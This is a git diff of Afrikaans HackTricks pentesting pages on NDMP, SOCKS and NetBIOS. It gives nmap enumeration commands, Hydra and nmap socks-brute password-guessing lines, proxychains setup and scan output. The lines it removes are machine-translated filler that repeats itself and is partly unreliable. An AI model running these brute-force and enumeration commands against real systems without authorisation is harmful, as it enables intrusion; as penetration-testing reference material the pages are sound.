By die uitvoer van 'n NDMP-enumerasie, is dit moontlik om inligting oor die NDMP-diens op 'n teikenstelsel te bekom. Hier is 'n paar tegnieke wat gebruik kan word om NDMP-inligting te versamel:
|
||||
|
||||
1. **Poortskandering**: Deur die skandering van poorte op die teikenstelsel kan jy aktiewe NDMP-poorte identifiseer. Die standaardpoort vir NDMP is 10000.
|
||||
|
||||
2. **Banner Grabbing**: Deur die gebruik van 'n netwerktoetsinstrument soos Telnet of Netcat, kan jy probeer om die NDMP-diens se banierinligting te bekom. Dit kan nuttige inligting verskaf oor die gebruikte NDMP-weergawe en -implementering.
|
||||
|
||||
3. **NDMP-spoor**: Dit behels die ondersoek van die teikenstelsel se loglêers vir enige verwysings na NDMP-aktiwiteite. Dit kan help om inligting oor die gebruikte NDMP-weergawe, konfigurasie en moontlike kwesbaarhede te vind.
|
||||
|
||||
4. **NDMP-bruteforcing**: As jy 'n geldige gebruikersnaam en wagwoord het, kan jy probeer om in te log op die NDMP-diens deur middel van bruteforcing. Dit behels die outomatiese poging om verskillende kombinasies van gebruikersname en wagwoorde te probeer totdat 'n suksesvolle inlogpoging plaasvind.
|
||||
|
||||
### **NDMP Exploitation**
|
||||
|
||||
Nadat jy relevante inligting oor die NDMP-diens op 'n teikenstelsel versamel het, kan jy dit moontlik uitbuit om toegang tot die stelsel te verkry. Hier is 'n paar moontlike uitbuitingstegnieke:
|
||||
|
||||
1. **Kwesbaarheidsuitbuiting**: As jy 'n bekende kwesbaarheid in die gebruikte NDMP-weergawe en -implementering identifiseer, kan jy dit moontlik uitbuit om toegang tot die stelsel te verkry. Dit kan behels om spesifieke aanvalskode te gebruik of 'n bekende uitbuitingsraamwerk te implementeer.
|
||||
|
||||
2. **Misbruik van swak konfigurasie**: As jy 'n swak konfigurasie in die NDMP-diens identifiseer, soos 'n onveilige wagwoordbeleid of onvoldoende toegangsbeheer, kan jy dit moontlik misbruik om toegang tot die stelsel te verkry.
|
||||
|
||||
3. **Man-in-die-middel-aanvalle**: As jy in staat is om die netwerkverkeer tussen die NDMP-diens en die stoorplek te onderskep, kan jy dit moontlik gebruik om gevoelige inligting te onderskep of te manipuleer.
|
||||
|
||||
Dit is belangrik om te onthou dat enige uitbuiting van 'n teikenstelsel slegs uitgevoer moet word met toestemming van die eienaar van die stelsel.
|
||||
# **Enumerasie**
|
||||
```bash
|
||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||
```
|
||||
|
@ -64,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,138 +1,43 @@
|
|||
# 1080 - Pentesting Socks
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**SOCKS** is 'n protokol wat gebruik word om data tussen 'n klient en bediener deur 'n proksi oor te dra. Die vyfde weergawe, **SOCKS5**, voeg 'n opsionele outentiseringsfunksie by, wat slegs gevolmagtigde gebruikers toelaat om die bediener te benader. Dit hanteer primêr die proksiering van TCP-verbindinge en die deurstuur van UDP-pakette, en werk op die sessielaag (Laag 5) van die OSI-model.
|
||||
**SOCKS** is 'n protokol wat gebruik word om data tussen 'n kliënt en bediener deur 'n proxy oor te dra. Die vyfde weergawe, **SOCKS5**, voeg 'n opsionele verifikasiefunksie by, wat slegs gemagtigde gebruikers toelaat om toegang tot die bediener te verkry. Dit hanteer hoofsaaklik die proxying van TCP-verbindinge en die forwarding van UDP-pakkette, wat op die sessielaag (Laag 5) van die OSI-model werk.
|
||||
|
||||
**Verstekpoort:** 1080
|
||||
**Standaard Poort:** 1080
|
||||
|
||||
## Enumerasie
|
||||
|
||||
### Outentiseringskontrole
|
||||
### Verifikasie Kontrole
|
||||
```bash
|
||||
nmap -p 1080 <ip> --script socks-auth-info
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
#### Basiese gebruik
|
||||
|
||||
Brute Force is 'n aanvalstegniek wat gebruik word om toegang te verkry tot 'n stelsel deur alle moontlike kombinasies van gebruikersname en wagwoorde te probeer. Dit kan gebruik word om toegang te verkry tot verskillende netwerkdienste, soos SSH, FTP, Telnet, en ander.
|
||||
|
||||
Die basiese gebruik van Brute Force behels die gebruik van 'n gereedskap soos Hydra of Medusa om 'n lys van gebruikersname en wagwoorde te voer en dit te gebruik om die doelstelsel aan te val. Die gereedskap sal outomaties elke kombinasie probeer totdat dit 'n suksesvolle een vind.
|
||||
|
||||
Hier is 'n voorbeeld van die basiese gebruik van Brute Force met Hydra:
|
||||
|
||||
```plaintext
|
||||
hydra -l admin -P passwords.txt ssh://192.168.0.1
|
||||
```
|
||||
|
||||
In hierdie voorbeeld gebruik ons Hydra om die SSH-diens op die IP-adres 192.168.0.1 aan te val. Ons gebruik die gebruikersnaam "admin" en 'n lys van wagwoorde wat in die passwords.txt-lêer opgesluit is.
|
||||
|
||||
Dit is belangrik om te onthou dat Brute Force 'n baie tydrowende proses kan wees en dat dit 'n groot hoeveelheid rekenaarhulpbronne kan vereis. Dit is ook 'n onetiese praktyk om Brute Force-aanvalle sonder toestemming uit te voer.
|
||||
```bash
|
||||
nmap --script socks-brute -p 1080 <ip>
|
||||
```
|
||||
#### Gevorderde gebruik
|
||||
|
||||
##### Socks Proxy
|
||||
|
||||
A Socks proxy is a protocol that allows a client to establish a connection through a firewall by using a proxy server. It can be used to bypass network restrictions and access resources that are otherwise blocked.
|
||||
|
||||
##### Socks Proxy
|
||||
|
||||
'n Socks-proksi is 'n protokol wat 'n kliënt in staat stel om 'n verbinding deur 'n vuurmuur te vestig deur 'n proksi-bediener te gebruik. Dit kan gebruik word om netwerkbeperkings te omseil en hulpbronne te benader wat andersins geblokkeer is.
|
||||
|
||||
##### Socks Proxy Chains
|
||||
|
||||
Socks Proxy Chains is a tool that allows you to create a chain of multiple Socks proxies. This can be useful for hiding your identity and location, as well as for bypassing multiple layers of security.
|
||||
|
||||
##### Socks Proxy-kettinge
|
||||
|
||||
Socks Proxy-kettinge is 'n hulpmiddel wat jou in staat stel om 'n ketting van verskeie Socks-proksies te skep. Dit kan nuttig wees om jou identiteit en ligging te verberg, sowel as om verskeie vlakke van sekuriteit te omseil.
|
||||
|
||||
##### Socks Over SSH
|
||||
|
||||
Socks Over SSH is a technique that allows you to create a secure connection by tunneling the Socks traffic through an SSH connection. This can provide an additional layer of encryption and security.
|
||||
|
||||
##### Socks oor SSH
|
||||
|
||||
Socks oor SSH is 'n tegniek wat jou in staat stel om 'n veilige verbinding te skep deur die Socks-verkeer deur 'n SSH-verbinding te stuur. Dit kan 'n addisionele laag van versleuteling en sekuriteit bied.
|
||||
|
||||
##### Socks Over Tor
|
||||
|
||||
Socks Over Tor is a technique that allows you to route your Socks traffic through the Tor network. This can provide anonymity and help bypass censorship and surveillance.
|
||||
|
||||
##### Socks oor Tor
|
||||
|
||||
Socks oor Tor is 'n tegniek wat jou in staat stel om jou Socks-verkeer deur die Tor-netwerk te roeteer. Dit kan anonimiteit bied en help om sensuur en bewaking te omseil.
|
||||
|
||||
##### Socks Over VPN
|
||||
|
||||
Socks Over VPN is a technique that allows you to route your Socks traffic through a VPN (Virtual Private Network) connection. This can provide an additional layer of privacy and security.
|
||||
|
||||
##### Socks oor VPN
|
||||
|
||||
Socks oor VPN is 'n tegniek wat jou in staat stel om jou Socks-verkeer deur 'n VPN (Virtuele Privaat Netwerk) verbinding te roeteer. Dit kan 'n addisionele laag van privaatheid en sekuriteit bied.
|
||||
```bash
|
||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
#### Uitset
|
||||
|
||||
# Pentesting SOCKS
|
||||
|
||||
## Inleiding
|
||||
|
||||
SOCKS (Socket Secure) is 'n protokol wat gebruik word om 'n veilige verbinding tussen 'n klient en 'n bediener te skep. Dit maak gebruik van 'n proxybediener om verkeer tussen die klient en die bediener te roeteer en te beskerm teen aanvalle soos IP-lekkasies en verkeersanalise.
|
||||
|
||||
## SOCKS-bediener
|
||||
|
||||
'n SOCKS-bediener is 'n tussenganger wat funksioneer as 'n proxy tussen die klient en die bediener. Dit ontvang verkeer van die klient en stuur dit deur na die bediener. Die bediener antwoord dan deur die SOCKS-bediener, wat die antwoord terugstuur na die klient. Hierdie proses maak dit moontlik vir die klient om 'n veilige verbinding met die bediener te hê sonder om direk met die bediener te kommunikeer.
|
||||
|
||||
## Pentesting SOCKS
|
||||
|
||||
By die pentesting van 'n SOCKS-bediener, is dit belangrik om die volgende aspekte te oorweeg:
|
||||
|
||||
1. Identifiseer die SOCKS-bediener: Vind die IP-adres en poort van die SOCKS-bediener wat gebruik word deur die toepassing of stelsel wat jy ondersoek.
|
||||
|
||||
2. Skandeer vir oop poorte: Gebruik 'n skanderingstool soos Nmap om te bepaal of die SOCKS-poort oop is en beskikbaar is vir kommunikasie.
|
||||
|
||||
3. Identifiseer die SOCKS-protokolverbinding: Gebruik 'n hulpmiddel soos Wireshark om die verkeer tussen die klient en die bediener te ondersoek en die spesifieke SOCKS-protokolverbinding te identifiseer.
|
||||
|
||||
4. Analiseer die verkeer: Ondersoek die verkeer tussen die klient en die bediener om enige potensiële kwesbaarhede of aanvalle te identifiseer. Kyk vir enige ongewone of verdagte aktiwiteit wat kan dui op 'n moontlike aanval.
|
||||
|
||||
5. Voer aanvalle uit: As jy kwesbaarhede of swak punte in die SOCKS-bediener identifiseer, kan jy spesifieke aanvalle uitvoer om die bediener te misbruik of toegang te verkry tot die stelsel wat dit gebruik.
|
||||
|
||||
## Vermy SOCKS-lekke
|
||||
|
||||
Om SOCKS-lekke te voorkom, kan jy die volgende maatreëls tref:
|
||||
|
||||
1. Verseker dat die SOCKS-bediener korrek gekonfigureer is en slegs toegang verleen aan geagte gebruikers en toepassings.
|
||||
|
||||
2. Monitor die verkeer tussen die klient en die bediener vir enige verdagte aktiwiteit of pogings tot aanvalle.
|
||||
|
||||
3. Verseker dat die bediener opgedateer en gepatch is met die nuutste veiligheidsoplossings om bekende kwesbaarhede te voorkom.
|
||||
|
||||
4. Implementeer 'n sterk wagwoordbeleid vir die SOCKS-bediener om te verseker dat slegs geagte gebruikers toegang het.
|
||||
|
||||
5. Beperk die toegang tot die SOCKS-bediener deur slegs spesifieke IP-adresse of subnette toe te laat.
|
||||
|
||||
## Gevolgtrekking
|
||||
|
||||
Die pentesting van SOCKS-bedieners is 'n belangrike stap in die versekering van die veiligheid en integriteit van netwerkverbindings. Deur die identifisering van kwesbaarhede en die implementering van veiligheidsmaatreëls kan jy die risiko van aanvalle en lekke verminder.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
|
@ -142,34 +47,37 @@ PORT STATE SERVICE
|
|||
| Statistics
|
||||
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
||||
```
|
||||
## Tunneling en Port Forwarding
|
||||
## Tunneling en Poort Voorwaartse
|
||||
|
||||
### Basiese gebruik van proxychains
|
||||
### Basiese proxychains gebruik
|
||||
|
||||
Stel proxy chains op om socks proxy te gebruik
|
||||
Stel proxy kettings op om socks proxy te gebruik
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
Edit die onderkant en voeg jou proxy by
|
||||
```markdown
|
||||
Voeg jou proxy by die onderkant
|
||||
```
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
Met outentifikasie
|
||||
Met outentikering
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### Meer inligting: [Tunneling en Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
#### Meer inligting: [Tunneling en Poort Oorgang](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,62 @@
|
|||
# 137,138,139 - Pentesting NetBios
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## NetBios Naamdiens
|
||||
|
||||
**NetBIOS Naamdiens** speel 'n belangrike rol en behels verskeie dienste soos **naamregistrasie en -oplossing**, **datagramverspreiding** en **sessiedienste**, wat spesifieke poorte vir elke diens gebruik.
|
||||
**NetBIOS Naamdiens** speel 'n belangrike rol, wat verskeie dienste insluit soos **naamregistrasie en -oplossing**, **datagramverspreiding**, en **sessiedienste**, wat spesifieke poorte vir elke diens gebruik.
|
||||
|
||||
[Vanaf Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
* Naamdiens vir naamregistrasie en -oplossing (poorte: 137/udp en 137/tcp).
|
||||
* Datagramverspreidingsdiens vir verbindingslose kommunikasie (poort: 138/udp).
|
||||
* Datagramverspreidingsdiens vir verbindinglose kommunikasie (poort: 138/udp).
|
||||
* Sessiediens vir verbindingsgeoriënteerde kommunikasie (poort: 139/tcp).
|
||||
|
||||
### Naamdiens
|
||||
|
||||
Om 'n toestel aan 'n NetBIOS-netwerk te laat deelneem, moet dit 'n unieke naam hê. Dit word bereik deur 'n **uitsaaiingsproses** waar 'n "Naamnavraag" pakkie gestuur word. As geen besware ontvang word nie, word die naam as beskikbaar beskou. Alternatiewelik kan 'n **Naamdiens-bediener** direk ondervra word om naambeskikbaarheid te kontroleer of om 'n naam na 'n IP-adres op te los. Hulpmiddels soos `nmblookup`, `nbtscan` en `nmap` word gebruik om NetBIOS-dienste op te som, waardeur bedienername en MAC-adresse onthul word.
|
||||
Vir 'n toestel om aan 'n NetBIOS-netwerk deel te neem, moet dit 'n unieke naam hê. Dit word bereik deur 'n **uitlegproses** waar 'n "Naamnavraag" pakket gestuur word. As daar geen besware ontvang word nie, word die naam as beskikbaar beskou. Alternatiewelik kan 'n **Naamdiensbediener** direk gevra word om naam beskikbaarheid te kontroleer of om 'n naam na 'n IP-adres op te los. Gereedskap soos `nmblookup`, `nbtscan`, en `nmap` word gebruik om NetBIOS-dienste te lys, wat bedienernames en MAC-adresse onthul.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
### NetBIOS-dienste pentesting
|
||||
|
||||
By die ondersoek van 'n NetBIOS-diens kan jy die name verkry wat die bediener gebruik, sowel as die MAC-adres van die bediener.
|
||||
Enumerering van 'n NetBIOS-diens kan jy die name wat die bediener gebruik en die MAC-adres van die bediener verkry.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Datagramverspreidingsdiens
|
||||
### Datagram Verspreidingsdiens
|
||||
|
||||
NetBIOS-datagramme maak gebruik van UDP vir verbindingslose kommunikasie, wat direkte boodskappe of uitsaai na alle netwerkname ondersteun. Hierdie diens maak gebruik van poort **138/udp**.
|
||||
NetBIOS datagramme stel verbindinglose kommunikasie via UDP in staat, wat direkte boodskappe of uitsendings na alle netwerkname ondersteun. Hierdie diens gebruik poort **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Sessiediens
|
||||
### Session Service
|
||||
|
||||
Vir verbindingsgeoriënteerde interaksies fasiliteer die **Sessiediens** 'n gesprek tussen twee toestelle deur gebruik te maak van **TCP**-verbindings deur poort **139/tcp**. 'n Sessie begin met 'n "Sessieversoek" pakkie en kan gevestig word op grond van die reaksie. Die diens ondersteun groter boodskappe, foutopsporing en herstel, met TCP wat vloeibeheer en pakkiehertransmissie hanteer.
|
||||
Vir verbindingsgeoriënteerde interaksies fasiliteer die **Session Service** 'n gesprek tussen twee toestelle, wat **TCP** verbindings deur poort **139/tcp** benut. 'n Sessie begin met 'n "Session Request" pakket en kan gevestig word op grond van die antwoord. Die diens ondersteun groter boodskappe, foutdetectie en herstel, met TCP wat vloei beheer en pakket hersending hanteer.
|
||||
|
||||
Data-oordrag binne 'n sessie behels **Sessieboodskappakkies**, met sessies wat beëindig word deur die TCP-verbinding te sluit.
|
||||
Data-oordrag binne 'n sessie behels **Session Message packets**, met sessies wat beëindig word deur die TCP-verbinding te sluit.
|
||||
|
||||
Hierdie dienste is integraal tot die funksionaliteit van **NetBIOS**, wat doeltreffende kommunikasie en hulpbron-deling oor 'n netwerk moontlik maak. Vir meer inligting oor TCP- en IP-protokolle, verwys na hul onderskeie [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) en [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) bladsye.
|
||||
Hierdie dienste is integraal tot **NetBIOS** funksionaliteit, wat doeltreffende kommunikasie en hulpbrondeling oor 'n netwerk moontlik maak. Vir meer inligting oor TCP en IP protokolle, verwys na hul onderskeie [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) en [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) bladsye.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Lees die volgende bladsy om te leer hoe om hierdie diens te ondersoek:**
|
||||
**Lees die volgende bladsy om te leer hoe om hierdie diens te evalueer:**
|
||||
|
||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
|
@ -86,16 +85,17 @@ Name: Find Names
|
|||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,62 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
